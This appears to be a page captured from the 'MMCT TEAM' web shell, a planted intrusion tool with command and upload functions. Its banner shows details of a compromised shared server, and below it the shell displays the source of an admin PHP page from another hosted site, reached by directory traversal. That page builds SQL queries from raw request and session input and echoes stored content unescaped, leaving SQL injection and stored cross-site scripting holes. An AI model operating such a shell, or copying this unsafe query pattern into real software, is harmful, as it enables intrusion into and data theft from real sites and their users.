MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.15.228.32
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/adisgauges.com/../abssolutereality.com/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/adisgauges.com/../abssolutereality.com/admin/update-bubble.php
<?php
require_once("../includes/dbsmain.inc.php");
if(isset($_REQUEST['update'])){
$admin_business_bubble=$_REQUEST['admin_business_bubble'];
$sql="UPDATE tbl_admin SET admin_business_bubble='$admin_business_bubble' WHERE admin_id='$_SESSION[sess_admin_login_id]'";	
$res=db_query($sql);
if($res>0){
$_SESSION['msg']="Content updated successfully";	
header("location:update-bubble.php");
exit;
}
}

$content=db_scalar("SELECT admin_business_bubble FROM tbl_admin WHERE admin_id='$_SESSION[sess_admin_login_id]'");
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
      <meta charset="utf-8">
      <meta http-equiv="X-UA-Compatible" content="IE=edge">
      <meta name="viewport" content="width=device-width, initial-scale=1">
      <title>ThariChoice : Admin Panel</title>
      <!-- Favicon and touch icons -->
      <link rel="shortcut icon" href="../fevicon.png" type="image/x-icon">
      <!-- Start Global Mandatory Style
         =====================================================================-->
      <!-- jquery-ui css -->
      <link href="assets/plugins/jquery-ui-1.12.1/jquery-ui.min.css" rel="stylesheet" type="text/css"/>
      <!-- Bootstrap -->
      <link href="assets/bootstrap/css/bootstrapa.min.css" rel="stylesheet" type="text/css"/>
      <!-- Bootstrap rtl -->
      <!--<link href="assets/bootstrap-rtl/bootstrap-rtl.min.css" rel="stylesheet" type="text/css"/>-->
      <!-- Lobipanel css -->
      <link href="assets/plugins/lobipanel/lobipanel.min.css" rel="stylesheet" type="text/css"/>
      <!-- Pace css -->
      <link href="assets/plugins/pace/flash.css" rel="stylesheet" type="text/css"/>
      <!-- Font Awesome -->
      <link href="assets/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css"/>
      <!-- Pe-icon -->
      <link href="assets/pe-icon-7-stroke/css/pe-icon-7-stroke.css" rel="stylesheet" type="text/css"/>
      <!-- Themify icons -->
      <link href="assets/themify-icons/themify-icons.css" rel="stylesheet" type="text/css"/>
      <!-- End Global Mandatory Style
         =====================================================================-->
      <!-- Start page Label Plugins 
         =====================================================================-->
      <!-- Emojionearea -->
      <link href="assets/plugins/emojionearea/emojionearea.min.css" rel="stylesheet" type="text/css"/>
      <!-- Monthly css -->
      <link href="assets/plugins/monthly/monthly.css" rel="stylesheet" type="text/css"/>
      <!-- End page Label Plugins 
         =====================================================================-->
      <!-- Start Theme Layout Style
         =====================================================================-->
      <!-- Theme style -->
      <link href="assets/dist/css/stylecrm.css" rel="stylesheet" type="text/css"/>

      <link href="assets/dist/css/custom.css" rel="stylesheet" type="text/css"/>
      
      <style>
	span.count-num {
    float: right;
    margin: -16px 13px 0 0;
    font-size: 18px;
    background: red;
    padding: 1px 6px 1px 6px;
    color: #fff;
    border-radius: 15px;
}
	  </style>
      <!-- Theme style rtl -->
      <!--<link href="assets/dist/css/stylecrm-rtl.css" rel="stylesheet" type="text/css"/>-->
      <!-- End Theme Layout Style
         =====================================================================-->
   </head>
<body>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td  id="pageHead" colspan="2"><div class="col-lg-12 text-center bg-primary bold" style="padding:6px;font-size:16px"><i class="fa fa-comments font-black fa-lg"></i>&nbsp;Business Bubble</div></td>
  </tr>

<?php if(!empty($_SESSION['msg'])){?>
<tr>
<td colspan="2" style="color:green;font-weight:600;text-align:center;padding:5px" >
<?=$_SESSION['msg']?>
</td>
</tr>
<?php }?>

<form action="" method="post" enctype="multipart/form-data">
<tr>
<td width="100%" style="padding:10px"><table width="100%" cellpadding="2" cellspacing="2" border="0" style="margin-left:0; margin-top:10px; border:1px solid #B7DBFF">

<tr style="background-color:#B7DBFF;">
    <td colspan="2" align="center" style="padding:5px"><span style="font-size:12px; font-weight:bold; color:#000;">Content</span></td>
    
  </tr>
  
  
<tr>
<td colspan="2" align="center" style="padding:5px">
<textarea class="form-control" name="admin_business_bubble" id="admin_business_bubble" required="required"  rows="5" placeholder="Enter your content here." ><?=$content?></textarea>
</td>
</tr>  


<tr>
<td colspan="2" align="center" style="padding:5px">
<button type="submit" name="update" class="btn btn-primary">Update</button>
</td>
</tr>  


</form>
 
  
 
  <tr>
    <td></td>
    <td></td>
    </td>
  </tr>

</table>



<a href="javascript:self.close()" onClick="close_window()" class="pull-right"><strong style="font-size:16px;"><u>Close</u></strong></a>
</td>




  </tr>
  
  
  
</table>



</body>
</html>
<script>
function close_window(){
window.close();
 window.opener.location.reload();
}
</script>

MMCT - 2023